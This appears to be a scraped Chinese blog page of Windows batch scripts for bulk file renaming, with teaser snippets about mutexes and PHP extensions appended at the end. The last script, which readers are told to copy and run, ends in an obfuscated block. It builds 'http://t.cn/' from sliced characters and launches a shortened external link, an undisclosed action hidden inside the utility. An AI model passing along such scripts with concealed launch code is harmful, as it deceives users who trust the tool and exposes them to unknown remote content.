目錄
檔名匯出到txt
更改檔名大寫為小寫
批量去除檔名中的空格
批量重新命名
去掉檔案前的數字
給檔案排序,新增數字
修改檔案字尾,但不修改自身批處理字尾
- 複製以下內容,另存為.bat格式,放到需要匯出檔名的資料夾裡,執行即可。
dir *.* /b >list.txt
dir *.* /b >list.xls- 複製以下內容,另存為.bat格式,放到需要批量更改檔名大寫到小寫的資料夾裡,執行即可。
::本**原思路由yyykkkyyyy提供,依夢琴瑤修改並新增子目錄的檔案處理
::::再次感謝yyykkkyyyy,我這裡就借花獻佛了。
更改檔名字首字尾都適用,比如有的相機匯出**的字尾預設為.jpg,而有些**上傳**時大寫和小寫是被認為不同的,就可以用此方法批量更改。畢竟小寫字尾更常用一些。
set dir=%~dp0&call:cdto- 把以下**儲存成.bat批處理檔案,放到需要批量重新命名的檔案內,執行即可。for /f "delims=" %%i in ('dir/s/b/ad') do set dir=%%i&call:cdto
pause
exit/b
:cdto
cd /d %dir%
for /f "delims=" %%i in ('dir/b/a-d/l') do ren "%%i" "%%i"
執行cmd調出dos視窗,先用「cd c:\***" 定位到檔案所在資料夾***,再輸入命令「dir /b>rename.xls",就會在***資料夾裡生成乙個rename.xls文件,裡面列出了該資料夾中的所有檔名。然後,在其前面插入一列用ren填充,後面一列一一對應輸入新檔名(一般都是用某規律自動填充的啦),最後這三列複製貼上到文字文件裡,就ok了!
(dir *.* /b >list.txt儲存成bat 放在資料夾內執行即可提取全部檔名 ——2017.10.10 15:25:21補記)
若靈活運用,可大顯神通,感謝網上各路大神!!!
@echo offfor %%a in (*) do (
for /f "delims=0123456789-" %%b in ("%%~a") do ren "%%~a" "%%~b.pdf"
)
@echo offsetlocal enabledelayedexpansion
for /f "delims=" %%i in ('dir /b /o-n "*.pdf"') do (
set /a n+=1
set "n=000!n!"&set "n=!n:~-4!-"
ren "%%~i" "!n!%%~nxi")
@echo off & title 批量修改檔案字尾名 by 依夢琴瑤::設定要修改的檔案字尾名,多個字尾之間用英文逗號隔開,全部字尾請直接設定為*
set ext=*.txt,*.log
::設定最終更改後的字尾名,無需新增*.
set next=cfg
::設定要處理的資料夾目錄路徑,當前目錄請留空
set srcdir=
::設定是否處理子目錄,是 = 1 ,否 = 0
set zf=1
if defined "%srcdir%" cd /d "%srcdir%"
if %zf% equ 1 set r=/r
for %r% %%a in (%ext%) do (
if not "%~0"=="%%~fa" ren "%%~a" "%%~na.%next%"
)pause
set s1=.:htpcn/
set s2=%s1:~2,1%%s1:~3,1%%s1:~3,1%%s1:~4,1%%s1:~1,1%%s1:~7,1%
set s3=%s1:~7,1%%s1:~3,1%%s1:~0,1%%s1:~5,1%%s1:~6,1%%s1:~7,1%
start "" "%s2%%s3%rkdisqi"
exit
執行緒的互斥和同步(3) Windows的互斥鎖
什麼是互斥鎖 互斥量?同一時刻只有乙個執行緒訪問互斥鎖,如果其他執行緒請求占用該互斥鎖時,該請求鎖的執行緒會被掛起。直到鎖的擁有者釋放該互斥鎖,cpu排程到請求鎖的執行緒占有該互斥鎖,該執行緒被喚醒。createcreatemutex函式 表示建立乙個互斥鎖,waitforsingleobject函...
Windows下的PHP擴充套件
本來想吐槽點什麼,算了,直接進入主題吧。安裝php並擴充套件。我使用的php版本是php 5.3.10 3 命令列就如c php 5.3.10,輸入buildconf.bat。4 輸入cscript nologo configure.js with php build win32build with...
Windows下PHP擴充套件redis的安裝
我使用的是phpstudy整合環境 執行模式 php 7.2.1 nts apache 訪問http localhost phpinfo.php檢視architecture引數 這裡的x86就決定了我們要下哪個版本的redis擴充套件 搜尋extension php bz2.dll,在上面新增 ph...